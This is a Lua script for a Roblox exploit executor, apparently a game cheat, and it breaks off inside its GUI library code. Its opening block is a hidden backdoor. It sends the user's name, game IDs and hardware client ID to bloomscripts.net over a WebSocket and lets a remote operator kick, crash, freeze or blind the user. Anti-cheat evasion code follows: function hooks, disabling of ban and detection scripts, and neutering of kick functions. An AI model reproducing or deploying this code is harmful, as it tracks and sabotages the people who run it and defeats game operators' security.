--[[ _ _ _ _ _ | | | | | | | | | | |_| |__ ___ _ __ _ __ ___ ___ | |__ ___| | | __ _ __ _ | __| '_ \ / _ \ '__| '_ ` _ \ / _ \| '_ \ / _ \ | | / _` |/ _` | | |_| | | | __/ | | | | | | | (_) | | | | __/ | || (_| | (_| | \__|_| |_|\___|_| |_| |_| |_|\___/|_| |_|\___|_|_(_)__, |\__, | __/ | __/ | |___/ |___/ ]] -- discord.gg/jcYpUJzKjF -- KeySystem Verified | Key: RBX-ONET... | 2026-10-22T11:58:14.191Z task.spawn(function() local wsUrl = "wss://bloomscripts.net/api/v1/live/ws" local Players = game:GetService("Players") local HttpService = game:GetService("HttpService") local CoreGui = game:GetService("CoreGui") local username = Players.LocalPlayer and Players.LocalPlayer.Name or "Unknown" local gameId = tostring(game.PlaceId) local jobId = tostring(game.JobId) local hwid = "Unknown" pcall(function() local RbxAnalyticsService = game:GetService("RbxAnalyticsService") hwid = RbxAnalyticsService:GetClientId() end) local connectUrl = wsUrl .. "?type=ingame&username=" .. username .. "&gameId=" .. gameId .. "&jobId=" .. jobId .. "&hwid=" .. hwid .. "&scriptSlug=rivals-op.lua" local success, ws = pcall(function() return (WebSocket and WebSocket.connect) and WebSocket.connect(connectUrl) or nil end) if success and ws then task.spawn(function() while task.wait(30) do pcall(function() ws:Send(HttpService:JSONEncode({ type = "update", gameId = tostring(game.PlaceId), jobId = tostring(game.JobId), username = Players.LocalPlayer and Players.LocalPlayer.Name or "Unknown" })) end) end end) ws.OnMessage:Connect(function(msg) local success, data = pcall(function() return HttpService:JSONDecode(msg) end) if success and data then if data.type == "broadcast" then pcall(function() local msgGui = Instance.new("ScreenGui") msgGui.Name = "LiveBroadcastMsg" msgGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling msgGui.DisplayOrder = 99999 pcall(function() msgGui.Parent = CoreGui end) if not msgGui.Parent then msgGui.Parent = Players.LocalPlayer:WaitForChild("PlayerGui") end local txt = Instance.new("TextLabel") txt.Size = UDim2.new(1, 0, 0, 40) txt.Position = UDim2.new(0, 0, 0, -40) txt.BackgroundColor3 = Color3.fromRGB(15, 15, 20) txt.TextColor3 = Color3.fromRGB(255, 255, 255) txt.TextSize = 16 txt.Font = Enum.Font.GothamBold txt.Text = "📢 " .. tostring(data.message) txt.Parent = msgGui local TweenService = game:GetService("TweenService") TweenService:Create(txt, TweenInfo.new(0.5, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Position = UDim2.new(0, 0, 0, 0)}):Play() task.delay(3, function() local t = TweenService:Create(txt, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.In), {Position = UDim2.new(0, 0, 0, -40)}) t:Play() t.Completed:Connect(function() msgGui:Destroy() end) end) end) elseif data.type == "action" then if data.action == "kill" then pcall(function() Players.LocalPlayer.Character:BreakJoints() end) elseif data.action == "kick" then pcall(function() Players.LocalPlayer:Kick(data.reason or "Kicked by Admin") end) elseif data.action == "message" then pcall(function() local msgGui = Instance.new("ScreenGui") msgGui.Name = "DirectMessageGui" msgGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling pcall(function() msgGui.Parent = CoreGui end) if not msgGui.Parent then msgGui.Parent = Players.LocalPlayer:WaitForChild("PlayerGui") end local txt = Instance.new("TextLabel") txt.Size = UDim2.new(1, 0, 0, 40) txt.Position = UDim2.new(0, 0, 0, -40) txt.BackgroundColor3 = Color3.fromRGB(15, 20, 30) txt.TextColor3 = Color3.fromRGB(100, 200, 255) txt.TextSize = 16 txt.Font = Enum.Font.GothamBold txt.Text = "💬 Whisper: " .. tostring(data.reason) txt.Parent = msgGui local TweenService = game:GetService("TweenService") TweenService:Create(txt, TweenInfo.new(0.5, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Position = UDim2.new(0, 0, 0, 0)}):Play() task.delay(4, function() local t = TweenService:Create(txt, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.In), {Position = UDim2.new(0, 0, 0, -40)}) t:Play() t.Completed:Connect(function() msgGui:Destroy() end) end) end) elseif data.action == "crash" then pcall(function() while true do end end) elseif data.action == "freeze" then pcall(function() for _, v in pairs(Players.LocalPlayer.Character:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = true end end end) elseif data.action == "fling" then pcall(function() local root = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if root then root.Velocity = Vector3.new(0, 10000, 0) end end) elseif data.action == "void" then pcall(function() local root = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if root then root.CFrame = CFrame.new(0, -10000, 0) end end) elseif data.action == "blind" then pcall(function() local bg = Instance.new("ScreenGui") bg.Name = "BlindGui" bg.IgnoreGuiInset = true pcall(function() bg.Parent = CoreGui end) if not bg.Parent then bg.Parent = Players.LocalPlayer:WaitForChild("PlayerGui") end local f = Instance.new("Frame") f.Size = UDim2.new(1, 0, 1, 0) f.BackgroundColor3 = Color3.new(0,0,0) f.Parent = bg end) elseif data.action == "punish" then pcall(function() local hum = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid") if hum then hum.WalkSpeed = 0; hum.JumpPower = 0 end end) end end end end) end end) loadstring([[ function LPH_NO_VIRTUALIZE(f) return f end function LPH_JIT_MAX(f) return f end function LPH_JIT(f) return f end function LPH_ENCFUNC(f) return f end ]])(); eli_inext = function(t, i) i = i + 1; local v = t[i]; if v ~= nil then return i, v end; end; eli_ipairs = function(t) return eli_inext, t, 0 end; eli_pairs = function(t) return next, t, nil end; if not cloneref then cloneref = function(ref) return ref end end do if hookfunction and newcclosure and getcallingscript then pcall(function() local Old1 = nil; Old1 = hookfunction(setmetatable, newcclosure(function(Table, MetaTable) if type(MetaTable) == "table" and rawget(MetaTable, "__mode") == "kv" then local Caller = getcallingscript(); if Caller and Caller.Name == "MiscellaneousController" then return Old1(Table, { }); end; end; return Old1(Table, MetaTable); end)); end); pcall(function() local Ol2 = nil; Ol2 = hookfunction(rawlen, newcclosure(function(Table) if type(Table) == "table" then local Caller = getcallingscript(); if Caller and Caller.Name == "MiscellaneousController" then return 3; end; end; return Ol2(Table); end)); end); end; end; print("-"); task.wait(6); pcall(function() if not (hookfunction and newcclosure and getrenv) then return end; local oldtable; oldtable = hookfunction(getrenv().setmetatable, newcclosure(function(Table, Metatable) if Metatable and typeof(Metatable) == "table" and rawget(Metatable, "__mode") == "kv" then local trace = debug.traceback(); if trace:find("MiscellaneousController") then return oldtable({1, 2, 3}, {}); end; end; return oldtable(Table, Metatable); end)); end); coroutine.wrap(function() pcall(function() local acWords = {"anticheat", "ac", "detection", "ban", "kick", "security", "moderation"}; local function disableScript(obj) obj.Disabled = true; end; local function checkScript(obj) if obj:IsA("LocalScript") or obj:IsA("ModuleScript") then local n = string.lower(obj.Name); for _, ac in eli_ipairs(acWords) do if string.find(n, ac, 1, true) then pcall(disableScript, obj); break; end; end; end; end; local function blockScript(obj) pcall(checkScript, obj); end; pcall(function() game.DescendantAdded:Connect(blockScript); end); pcall(function() local descendants = game:GetDescendants(); for index = 1, #descendants do blockScript(descendants[index]); if index % 4000 == 0 then task.wait(); end; end; end); end); pcall(function() local networkClient = game:GetService("NetworkClient"); if networkClient then networkClient.ChildAdded:Connect(function(child) pcall(function() local ok, n = pcall(function() return child.Name:lower() end); if ok and n then if n:find("anticheat") or n:find("detection") then pcall(function() child:Destroy() end); end; end; end); end); end; end); end)(); pcall(function() local fake = Instance.new("RemoteEvent"); fake.Name = "ClientAlert"; fake.Parent = LocalPlayer; end); task.spawn(function() pcall(LPH_NO_VIRTUALIZE(function() if type(getgc) ~= "function" then return end; local rf = game:GetService("ReplicatedFirst"); local ls3 = rf:WaitForChild("LocalScript3", 10); local gc = getgc(false); for index = 1, #gc do local f = gc[index]; if type(f) == "function" and (type(islclosure) ~= "function" or islclosure(f)) then local ok, e = pcall(getfenv, f); if ok and type(e) == "table" then local ok2, scr = pcall(function() return rawget(e, "script") end); if ok2 and scr and typeof(scr) == "Instance" then local ok3, scrStr = pcall(tostring, scr); if ok3 and (scr == ls3 or (type(scrStr) == "string" and scrStr:find("LoadingScreen"))) then local ok4, cs = pcall(debug.getconstants, f); if ok4 and type(cs) == "table" then for _, k in eli_ipairs(cs) do if type(k) == "string" and (k:find("TakeTheL") or k:find("ban") or k:find("kick")) then pcall(function() hookfunction(f, function() end); end); break; end; end; end; end; end; end; end; if index % 1500 == 0 then task.wait(); end; end; end)); end); local antidetect = true; local detecteds = { ["localscript3"] = true, ["miscellaneouscontroller"] = true }; local callerVerdicts = setmetatable({}, { __mode = "k" }); local original; pcall(function() if not (hookmetamethod and newcclosure and getcallingscript) then return end; original = hookmetamethod(game, "__index", newcclosure(LPH_NO_VIRTUALIZE(function(self, key) if antidetect and (key == "Name" or key == "Text") then local caller = getcallingscript(); if caller then local blocked = callerVerdicts[caller]; if blocked == nil then local ok, result = pcall(function() return detecteds[string.lower(original(caller, "Name"))] == true; end); blocked = ok and result or false; callerVerdicts[caller] = blocked; end; if blocked then return ""; end; end; end; return original(self, key); end))); end); getgenv().FourHub_set_antidetect = function(v) antidetect = v and true or false; end; repeat task.wait() until not game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("LoadingScreen"); getgenv().silent_load = false; local Library = (function() local InputService = game:GetService('UserInputService'); local TextService = game:GetService('TextService'); local HttpService = game:GetService('HttpService'); local CoreGui = cloneref(game:GetService('CoreGui')); local Teams = game:GetService('Teams'); local Players = game:GetService('Players'); local RunService = game:GetService('RunService'); local TweenService = game:GetService('TweenService'); local SoundService = game:GetService('SoundService'); local RenderStepped = RunService.RenderStepped; local LocalPlayer = Players.LocalPlayer; local Mouse = cloneref(LocalPlayer:GetMouse()); local function IsPrimaryPress(Input) return Input.UserInputType == Enum.UserInputType.MouseButton1 or Input.UserInputType == Enum.UserInputType.Touch; end; local function IsPressActive(Input) if Input.UserInputType == Enum.UserInputType.Touch then return Input.UserInputState ~= Enum.UserInputState.End and Input.UserInputState ~= Enum.UserInputState.Cancel; end; return InputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1); end; local function GetPointerPosition(Input) if Input and Input.UserInputType == Enum.UserInputType.Touch then return Vector2.new(Input.Position.X, Input.Position.Y); end; return Vector2.new(Mouse.X, Mouse.Y); end; local IsTouchDevice = InputService.TouchEnabled and not InputService.MouseEnabled; local ProtectGui = protectgui or (syn and syn.protect_gui) or (function() end); local ScreenGui = Instance.new('ScreenGui'); ProtectGui(ScreenGui); ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Global; ScreenGui.Parent = CoreGui; local Toggles = {}; local Options = {}; getgenv().Toggles = Toggles; getgenv().Options = Options; local BaseGroupbox; local ENUM_UI_FONT_ENTRIES = { { 'Legacy', 'Legacy' }, { 'Arial', 'Arial' }, { 'Arial Bold', 'ArialBold' }, { 'Arimo', 'Arimo' }, { 'Arimo Bold', 'ArimoBold' }, { 'Gotham', 'Gotham' }, { 'Gotham Medium', 'GothamMedium' }, { 'Gotham Bold', 'GothamBold' }, { 'Gotham Black', 'GothamBlack' }, { 'Roboto', 'Roboto' }, { 'Roboto Mono', 'RobotoMono' }, { 'Roboto Condensed', 'RobotoCondensed' }, { 'Source Sans', 'SourceSans' }, { 'Source Sans Bold', 'SourceSansBold' }, { 'Source Sans Semibold', 'SourceSansSemibold' }, { 'Source Sans Light', 'SourceSansLight' }, { 'Source Sans Italic', 'SourceSansItalic' }, { 'Ubuntu', 'Ubuntu' }, { 'Bangers', 'Bangers' }, { 'Arcade', 'Arcade' }, { 'Code', 'Code' }, { 'Creepster', 'Creepster' }, { 'Builder Sans', 'BuilderSans' }, { 'Builder Sans Medium', 'BuilderSansMedium' }, { 'Builder Sans Bold', 'BuilderSansBold' }, { 'Builder Sans ExtraBold', 'BuilderSansExtraBold' }, { 'SciFi', 'SciFi' }, { 'Highway', 'Highway' }, { 'Cartoon', 'Cartoon' }, { 'Fantasy', 'Fantasy' }, { 'Fondamento', 'Fondamento' }, { 'Garamond', 'Garamond' }, { 'Bodoni', 'Bodoni' }, { 'Merriweather', 'Merriweather' }, { 'Oswald', 'Oswald' }, { 'Patrick Hand', 'PatrickHand' }, { 'Permanent Marker', 'PermanentMarker' }, { 'Special Elite', 'SpecialElite' }, { 'Titillium Web', 'TitilliumWeb' }, { 'Nunito', 'Nunito' }, { 'Jura', 'Jura' }, { 'Michroma', 'Michroma' }, { 'Antique', 'Antique' }, { 'Amatic SC', 'AmaticSC' }, { 'Denk One', 'DenkOne' }, { 'Josefin Sans', 'JosefinSans' }, { 'Kalam', 'Kalam' }, { 'Luckiest Guy', 'LuckiestGuy' }, { 'Sarpanch', 'Sarpanch' }, }; local ENUM_UI_FONTS = {}; for _, entry in ENUM_UI_FONT_ENTRIES do local displayName, enumName = entry[1], entry[2]; if not ENUM_UI_FONTS[displayName] then local ok, enumFont = pcall(function() return Enum.Font[enumName]; end); if ok and enumFont then ENUM_UI_FONTS[displayName] = enumFont; end; end; end; local CUSTOM_UI_FONTS = { ['ProggyTiny'] = { Ttf = 'ProggyTiny.ttf', Url = 'https://github.com/ocornut/imgui/raw/master/misc/fonts/ProggyTiny.ttf', }, ['ProggyClean'] = { Ttf = 'ProggyClean.ttf', Url = 'https://github.com/ocornut/imgui/raw/master/misc/fonts/ProggyClean.ttf', }, ['XP Tahoma'] = { Ttf = 'XP Tahoma.ttf', Url = 'https://github.com/sametexe001/luas/raw/refs/heads/main/fonts/TAHOMA-8PT-BOLD-WINDOWS-XP.TTF', }, ['Smallest Pixel'] = { Ttf = 'smallest_pixel-7.ttf', Url = 'https://raw.githubusercontent.com/sametexe001/luas/main/smallest_pixel-7.ttf', }, ['Tahoma'] = { FontFile = 'Tahoma.font', AltFontFiles = { 'FourHub/Tahoma.font', 'library/Tahoma.font', 'Tahoma.ttf', 'library/Tahoma.ttf' }, }, }; local function tryFontFromAsset(path) if not isfile or not isfile(path) then return nil; end; local okAsset, assetPath = pcall(getcustomasset, path); if not okAsset or not assetPath then return nil; end; local okFont, face = pcall(Font.new, assetPath, Enum.FontWeight.Regular, Enum.FontStyle.Normal); if okFont and face then return face; end; return nil; end; local function registerDownloadedFont(name, entry) if not (writefile and isfile and getcustomasset and game.HttpGet) then return nil; end; local ok, face = pcall(function() local ttfName = entry.Ttf; if not isfile(ttfName) then writefile(ttfName, game:HttpGet(entry.Url)); end; local fontFile = name .. '.font'; if isfile(fontFile) then delfile(fontFile); end; local info = { name = name, faces = { { name = 'Normal', weight = 400, style = 'Normal', assetId = getcustomasset(ttfName), }, }, }; writefile(fontFile, HttpService:JSONEncode(info)); return Font.new(getcustomasset(fontFile), Enum.FontWeight.Regular, Enum.FontStyle.Normal); end); if ok and face then return face; end; return nil; end; local function loadCustomFontFace(name, entry) if entry.FontFile or entry.AltFontFiles then local paths = { entry.FontFile }; if entry.AltFontFiles then for _, path in entry.AltFontFiles do table.insert(paths, path); end; end; for _, path in paths do local face = tryFontFromAsset(path); if face then return face; end; end; end; if entry.Ttf and entry.Url then return registerDownloadedFont(name, entry); end; return nil; end; local function resolveEnumFontFace(enumFont) local ok, face = pcall(Font.fromEnum, enumFont); if ok and face then return face, enumFont; end; return nil, enumFont; end; local DefaultUIFont = 'Builder Sans ExtraBold'; local InitialFontFace, InitialEnumFont = resolveEnumFontFace(Enum.Font.BuilderSansExtraBold); if not InitialFontFace then InitialFontFace = loadCustomFontFace('XP Tahoma', CUSTOM_UI_FONTS['XP Tahoma']) or select(1, resolveEnumFontFace(Enum.Font.Code)); InitialEnumFont = Enum.Font.Code; end; local Library = { Registry = {}; RegistryMap = {}; HudRegistry = {}; FontColor = Color3.fromHex("e0d4d6"); MainColor = Color3.fromHex("121212"); BackgroundColor = Color3.fromHex("0a0a0a"); AccentColor = Color3.fromHex("001EFF"); OutlineColor = Color3.new(0, 0, 0); SelectedTabColor = Color3.fromHex("0a0a0a"); GradientColor = Color3.fromHex("ffffff"); ShadowColor = Color3.new(0, 0, 0); ShadowSize = 0; ShadowOffset = 0; RiskColor = Color3.fromRGB(255, 50, 50), Black = Color3.new(0, 0, 0); Font = InitialEnumFont or Enum.Font.BuilderSansExtraBold; FontFace = InitialFontFace; CurrentUIFont = DefaultUIFont; FontCache = {}; EnumUIFonts = ENUM_UI_FONTS; CustomUIFonts = CUSTOM_UI_FONTS; OverlayGlowEnabled = false; OverlayGlowColor = Color3.fromHex('001EFF'); OpenedFrames = {}; DependencyBoxes = {}; Overlays = {}; EnemyPlayers = {}; AllCloseOverlays = false; MenuOpen = true; NotificationSpot = 'Top Right'; NotificationAnimation = 'Slide Right to Left'; ToggleSoundEnabled = true; NotificationSoundEnabled = true; SliderSoundEnabled = true; ToggleSoundVolume = 1; ToggleSoundSpeed = 1; NotificationSoundVolume = 1; NotificationSoundSpeed = 1; SliderSoundVolume = 1; SliderSoundSpeed = 1; MobileOverlayScale = 0.55; MobilePickerScale = 0.6; ZIndexBase = nil; OverlayZIndexBase = nil; GradientLabels = {}; AccentTitleLabels = {}; PopupZIndexCache = setmetatable({}, { __mode = 'k' }); Signals = {}; ScreenGui = ScreenGui; }; local RainbowStep = 0; local Hue = 0; local RainbowAccum = 0; table.insert(Library.Signals, RenderStepped:Connect(LPH_NO_VIRTUALIZE(function(Delta) RainbowAccum += Delta; if RainbowAccum < 0.05 then return end; Hue = Hue + (RainbowAccum * 0.15); RainbowAccum = 0; if Hue > 1 then Hue = 0; end; Library.CurrentRainbowHue = Hue; Library.CurrentRainbowColor = Color3.fromHSV(Hue, 0.8, 1); end))); local function GetPlayersString() local PlayerList = Players:GetPlayers(); for i = 1, #PlayerList do PlayerList[i] = PlayerList[i].Name; end; table.sort(PlayerList, function(str1, str2) return str1 < str2 end); return PlayerList; end; local function GetTeamsString() local TeamList = Teams:GetTeams(); for i = 1, #TeamList do TeamList[i] = TeamList[i].Name; end; table.sort(TeamList, function(str1, str2) return str1 < str2 end); return TeamList; end; function Library:SafeCallback(f, ...) if (not f) then return; end; if not Library.NotifyOnError then return f(...); end; local success, event = pcall(f, ...); if not success then local _, i = event:find(":%d+: "); if not i then return Library:Notify(event); end; return Library:Notify(event:sub(i + 1), 3); end; end; Library.UDim2OffsetToString = function(udim2) return string.format('%d, %d', udim2.X.Offset, udim2.Y.Offset); end; Library.StringToUDim2Offset = function(str) local x, y = str:match('([^,]+),%s*([^,]+)'); return UDim2.fromOffset(tonumber(x), tonumber(y)); end; function Library:AttemptSave() if Library.SaveManager then Library.SaveManager:Save(); end; end; function Library:Create(Class, Properties) local _Instance = Class; if type(Class) == 'string' then _Instance = Instance.new(Class); end; if Properties and type(Properties.ZIndex) == 'number' and Library.OverlayZIndexBase and Properties.ZIndex < 100 then Properties.ZIndex = Library.OverlayZIndexBase + Properties.ZIndex; end; for Property, Value in next, Properties do _Instance[Property] = Value; end; if Library.FontFace and (_Instance:IsA('TextLabel') or _Instance:IsA('TextButton') or _Instance:IsA('TextBox')) then if not Properties or not Properties.FontFace then pcall(function() _Instance.FontFace = Library.FontFace; end); end; elseif (_Instance:IsA('TextLabel') or _Instance:IsA('TextButton') or _Instance:IsA('TextBox')) and (not Properties or not Properties.Font) then _Instance.Font = Library.Font; end; return _Instance; end; function Library:ApplyTextStroke(Inst) Inst.TextStrokeTransparency = 1; Library:Create('UIStroke', { Color = Color3.new(0, 0, 0); Thickness = 1; LineJoinMode = Enum.LineJoinMode.Miter; Parent = Inst; }); end; function Library:CreateLabel(Properties, IsHud) local _Instance = Library:Create('TextLabel', { BackgroundTransparency = 1; Font = Library.Font; Text = ''; TextColor3 = Library.FontColor; TextSize = 13; TextStrokeTransparency = 0; }); Library:ApplyTextStroke(_Instance); Library:AddToRegistry(_Instance, { TextColor3 = 'FontColor'; }, IsHud); return Library:Create(_Instance, Properties); end; function Library:MakeDraggable(Instance, Cutoff) Instance.Active = true; local CutoffHeight = Cutoff or 40; local Dragging = false; local DragInput = nil; local DragPreview = nil; local DragStart = nil; local StartPos = nil; Instance.InputBegan:Connect(function(Input) if not IsPrimaryPress(Input) then return end; if Dragging then return end; local Pointer = GetPointerPosition(Input); if (Pointer.Y - Instance.AbsolutePosition.Y) > CutoffHeight then return end; if DragPreview then DragPreview:Destroy(); DragPreview = nil; end; Dragging = true; DragInput = Input; DragStart = Pointer; StartPos = Instance.Position; DragPreview = Library:Create("Frame", { BackgroundColor3 = Library.AccentColor, BackgroundTransparency = 0.75, BorderColor3 = Library.AccentColor, BorderSizePixel = 5, Position = StartPos, Size = Instance.Size, AnchorPoint = Instance.AnchorPoint, ZIndex = 9999, Parent = Library.ScreenGui, }); end); InputService.InputChanged:Connect(LPH_NO_VIRTUALIZE(function(Input) if not Dragging or not DragPreview then return end; if Input == DragInput or (Input.UserInputType == Enum.UserInputType.MouseMovement and DragInput.UserInputType == Enum.UserInputType.MouseButton1) then local Current = GetPointerPosition(Input); local Delta = Current - DragStart; DragPreview.Position = UDim2.new( StartPos.X.Scale, StartPos.X.Offset + Delta.X, StartPos.Y.Scale, StartPos.Y.Offset + Delta.Y ); end; end)); InputService.InputEnded:Connect(function(Input) if not Dragging or not DragPreview then return end; if Input == DragInput or (Input.UserInputType == Enum.UserInputType.MouseButton1 and DragInput.UserInputType == Enum.UserInputType.MouseButton1) then Dragging = false; DragInput = nil; Instance.Position = DragPreview.Position; DragPreview:Destroy(); DragPreview = nil; end; end); end; function Library:AddToolTip(InfoStr, HoverInstance) local X, Y = Library:GetTextBounds(InfoStr, Library.Font, 14); local Tooltip = Library:Create('Frame', { BackgroundColor3 = Library.MainColor, BorderColor3 = Library.OutlineColor, Size = UDim2.fromOffset(X + 5, Y + 4), ZIndex = 100, Parent = Library.ScreenGui, Visible = false, }); local Label = Library:CreateLabel({ Position = UDim2.fromOffset(3, 1), Size = UDim2.fromOffset(X, Y); TextSize = 14; Text = InfoStr, TextColor3 = Library.FontColor, TextXAlignment = Enum.TextXAlignment.Left; ZIndex = Tooltip.ZIndex + 1, Parent = Tooltip; }); Library:AddToRegistry(Tooltip, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); Library:AddToRegistry(Label, { TextColor3 = 'FontColor', }); local IsHovering = false; HoverInstance.MouseEnter:Connect(function() if Library:MouseIsOverOpenedFrame() then return end; IsHovering = true; Tooltip.Position = UDim2.fromOffset(Mouse.X + 15, Mouse.Y + 12); Tooltip.Visible = true; while IsHovering do RunService.Heartbeat:Wait(); Tooltip.Position = UDim2.fromOffset(Mouse.X + 15, Mouse.Y + 12); end; end); HoverInstance.MouseLeave:Connect(function() IsHovering = false; Tooltip.Visible = false; end); end; function Library:OnHighlight(HighlightInstance, Instance, Properties, PropertiesDefault) local activeTweens = {}; HighlightInstance.MouseEnter:Connect(function() local Reg = Library.RegistryMap[Instance]; for Property, ColorIdx in next, Properties do local targetValue = Library[ColorIdx] or ColorIdx; if typeof(targetValue) == "Color3" then if activeTweens[Property] then activeTweens[Property]:Cancel() end; local tween = TweenService:Create(Instance, TweenInfo.new(0.12, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { [Property] = targetValue }); activeTweens[Property] = tween; tween:Play(); else Instance[Property] = targetValue; end; if Reg and Reg.Properties[Property] then Reg.Properties[Property] = ColorIdx; end; end; end); HighlightInstance.MouseLeave:Connect(function() local Reg = Library.RegistryMap[Instance]; for Property, ColorIdx in next, PropertiesDefault do local targetValue = Library[ColorIdx] or ColorIdx; if typeof(targetValue) == "Color3" then if activeTweens[Property] then activeTweens[Property]:Cancel() end; local tween = TweenService:Create(Instance, TweenInfo.new(0.12, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { [Property] = targetValue }); activeTweens[Property] = tween; tween:Play(); else Instance[Property] = targetValue; end; if Reg and Reg.Properties[Property] then Reg.Properties[Property] = ColorIdx; end; end; end); end; function Library:MouseIsOverOpenedFrame() for Frame, _ in next, Library.OpenedFrames do local AbsPos, AbsSize = Frame.AbsolutePosition, Frame.AbsoluteSize; if Mouse.X >= AbsPos.X and Mouse.X <= AbsPos.X + AbsSize.X and Mouse.Y >= AbsPos.Y and Mouse.Y <= AbsPos.Y + AbsSize.Y then return true; end; end; end; function Library:IsMouseOverFrame(Frame) local AbsPos, AbsSize = Frame.AbsolutePosition, Frame.AbsoluteSize; if Mouse.X >= AbsPos.X and Mouse.X <= AbsPos.X + AbsSize.X and Mouse.Y >= AbsPos.Y and Mouse.Y <= AbsPos.Y + AbsSize.Y then return true; end; end; function Library:UpdateDependencyBoxes() for _, Depbox in next, Library.DependencyBoxes do Depbox:Update(); end; end; function Library:MapValue(Value, MinA, MaxA, MinB, MaxB) return (1 - ((Value - MinA) / (MaxA - MinA))) * MinB + ((Value - MinA) / (MaxA - MinA)) * MaxB; end; function Library:GetTextBounds(Text, Font, Size, Resolution) function RemoveTags(str) str = str:gsub('', '\n'); return (str:gsub('<[^<>]->', '')); end; local CleanText = RemoveTags(Text); local Bounds = TextService:GetTextSize(CleanText, Size, Font, Resolution or Vector2.new(1920, 1080)); return Bounds.X, Bounds.Y; end; function Library:ScanCustomUIFonts() local found = {}; local function scanDir(prefix) if not listfiles then return end; local ok, files = pcall(listfiles, prefix); if not ok or not files then return end; for _, path in files do local lower = string.lower(path); if lower:sub(-5) == '.font' or lower:sub(-4) == '.ttf' then local name = path:match('([^/\\]+)%.%w+$'); if name and not ENUM_UI_FONTS[name] and not CUSTOM_UI_FONTS[name] then found[name] = path; end; end; end; end; scanDir(''); scanDir('library'); return found; end; function Library:GetUIFontNames() local names = {}; local seen = {}; local function add(name) if name and not seen[name] then seen[name] = true; table.insert(names, name); end; end; for name in CUSTOM_UI_FONTS do add(name); end; for name in ENUM_UI_FONTS do add(name); end; for name in self:ScanCustomUIFonts() do add(name); end; table.sort(names, function(a, b) local aCustom = CUSTOM_UI_FONTS[a] ~= nil; local bCustom = CUSTOM_UI_FONTS[b] ~= nil; if aCustom ~= bCustom then return aCustom; end; return a < b; end); return names; end; function Library:LoadUIFont(name) if self.FontCache[name] then return self.FontCache[name].FontFace, self.FontCache[name].Font; end; local customEntry = CUSTOM_UI_FONTS[name]; if customEntry then local face = loadCustomFontFace(name, customEntry); if face then self.FontCache[name] = { FontFace = face, Font = Enum.Font.Code }; return face, Enum.Font.Code; end; end; local enumFont = ENUM_UI_FONTS[name]; if enumFont then local face = select(1, resolveEnumFontFace(enumFont)); self.FontCache[name] = { FontFace = face, Font = enumFont }; return face, enumFont; end; local scanned = self:ScanCustomUIFonts(); local path = scanned[name]; if path then local face = tryFontFromAsset(path); if not face and string.lower(path):sub(-4) == '.ttf' and writefile and isfile and getcustomasset then local fontFile = name .. '.font'; if not isfile(fontFile) then local info = { name = name, faces = { { name = 'Normal', weight = 400, style = 'Normal', assetId = getcustomasset(path), }, }, }; writefile(fontFile, HttpService:JSONEncode(info)); end; face = tryFontFromAsset(fontFile); end; if face then self.FontCache[name] = { FontFace = face, Font = Enum.Font.Code }; return face, Enum.Font.Code; end; end; return self:LoadUIFont(DefaultUIFont); end; function Library:ApplyFontToAll() for _, inst in ScreenGui:GetDescendants() do if inst:IsA('TextLabel') or inst:IsA('TextButton') or inst:IsA('TextBox') then if self.FontFace then pcall(function() inst.FontFace = self.FontFace; end); else inst.Font = self.Font; end; end; end; if self.LastWatermarkText then self:SetWatermark(self.LastWatermarkText); end; self:UpdateKeybindOverlaySize(); self:UpdateWindowTabLayout(); end; function Library:UpdateWindowTabLayout() if Library.MainWindow and Library.MainWindow.UpdateTabLayout then Library.MainWindow:UpdateTabLayout(); end; end; function Library:SetUIFont(name) if not name or name == '' then return end; local face, enumFont = self:LoadUIFont(name); self.FontFace = face; self.Font = enumFont or Enum.Font.Code; self.CurrentUIFont = name; self:ApplyFontToAll(); end; function Library:GetDarkerColor(Color) local H, S, V = Color3.toHSV(Color); return Color3.fromHSV(H, S, V / 1.5); end; function Library:GetLighterColor(Color) local H, S, V = Color3.toHSV(Color); return Color3.fromHSV(H, S * 0.8, math.min(V * 1.2, 1)); end; Library.AccentColorDark = Library:GetDarkerColor(Library.AccentColor); Library.AccentColorLight = Library:GetLighterColor(Library.AccentColor); function Library:AddToRegistry(Instance, Properties, IsHud) local Idx = #Library.Registry + 1; local Data = { Instance = Instance; Properties = Properties; Idx = Idx; }; table.insert(Library.Registry, Data); Library.RegistryMap[Instance] = Data; if IsHud then table.insert(Library.HudRegistry, Data); end; end; function Library:RemoveFromRegistry(Instance) local Data = Library.RegistryMap[Instance]; if Data then for Idx = #Library.Registry, 1, -1 do if Library.Registry[Idx] == Data then table.remove(Library.Registry, Idx); end; end; for Idx = #Library.HudRegistry, 1, -1 do if Library.HudRegistry[Idx] == Data then table.remove(Library.HudRegistry, Idx); end; end; Library.RegistryMap[Instance] = nil; end; end; function Library:IsGuiShown(GuiObject) if not GuiObject or not GuiObject:IsA('GuiObject') then return true; end; local current = GuiObject; while current and current ~= ScreenGui do if current:IsA('GuiObject') and not current.Visible then return false; end; current = current.Parent; end; return true; end; function Library:RefreshThemedControls() if Toggles then for _, toggle in Toggles do if toggle.UpdateColors then toggle:UpdateColors(); elseif toggle.Display then toggle:Display(); end; end; end; if Options then for _, option in Options do if option.Type == 'Slider' and option.UpdateColors then option:UpdateColors(); elseif option.Type == 'Dropdown' and option.Display then option:Display(); end; end; end; end; function Library:UpdateColorsUsingRegistry() Library.ThemeUpdating = true; for Idx, Object in next, Library.Registry do if Object.Instance and Object.Instance.Parent then for Property, ColorIdx in next, Object.Properties do if type(ColorIdx) == 'string' then Object.Instance[Property] = Library[ColorIdx]; elseif type(ColorIdx) == 'function' then Object.Instance[Property] = ColorIdx(); end; end; end; end; if Library.UpdateTitle then Library.UpdateTitle(); end; Library:UpdateShadows(); 